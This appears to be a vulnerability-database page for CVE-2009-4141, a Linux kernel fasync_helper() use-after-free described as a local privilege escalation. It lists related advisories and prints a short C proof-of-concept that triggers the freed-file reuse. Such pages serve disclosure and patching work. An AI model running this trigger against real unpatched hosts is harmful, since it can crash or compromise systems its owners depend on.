Linux Kernel 'fasync_helper()'本地特权提升漏洞CVE-2009-414
Reporter | Title | Published | Views | Family All 48 |
---|---|---|---|---|
![]() | CVE-2009-4141 | 19 Jan 201016:00 | – | cvelist |
![]() | CVE-2009-4141 | 19 Jan 201016:30 | – | nvd |
![]() | CVE-2009-4141 | 19 Jan 201016:30 | – | cve |
![]() | CVE-2009-4141 | 19 Jan 201000:00 | – | ubuntucve |
![]() | Use-after-Free | 10 Apr 202000:39 | – | veracode |
![]() | Design/Logic Flaw | 19 Jan 201016:30 | – | prion |
![]() | RHSA-2010:0149 Red Hat Security Advisory: kernel security and bug fix update | 13 Sep 202406:46 | – | osv |
![]() | RHSA-2010:0161 Red Hat Security Advisory: kernel-rt security and bug fix update | 13 Sep 202406:46 | – | osv |
![]() | RHSA-2010:0046 Red Hat Security Advisory: kernel security and bug fix update | 15 Sep 202418:16 | – | osv |
![]() | RHEL 5 : kernel (RHSA-2010:0149) | 24 Jan 201300:00 | – | nessus |
#ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>
// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
int fd;
pid_t child;
unsigned flag = ~0;
fd = open("/dev/urandom", O_RDONLY);
// set up exclusive lock, but dont block
flock(fd, LOCK_EX | LOCK_NB);
// set ASYNC flag on descriptor
ioctl(fd, FIOASYNC, &flag);
// close the file descriptor to trigger the bug
close(fd);
// now exec some stuff to populate the AT_RANDOM entries, which will cause
// the released file to be used.
// This assumes /bin/true is an elf executable, and that this kernel
// supports AT_RANDOM.
do switch (child = fork()) {
case 0: execl("/bin/true", "/bin/true", NULL);
abort();
case -1: fprintf(stderr, "fork() failed, %m\n");
break;
default: fprintf(stderr, ".");
break;
} while (waitpid(child, NULL, 0) != -1);
fprintf(stderr, "waitpid() failed, %m\n");
return 1;
}
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo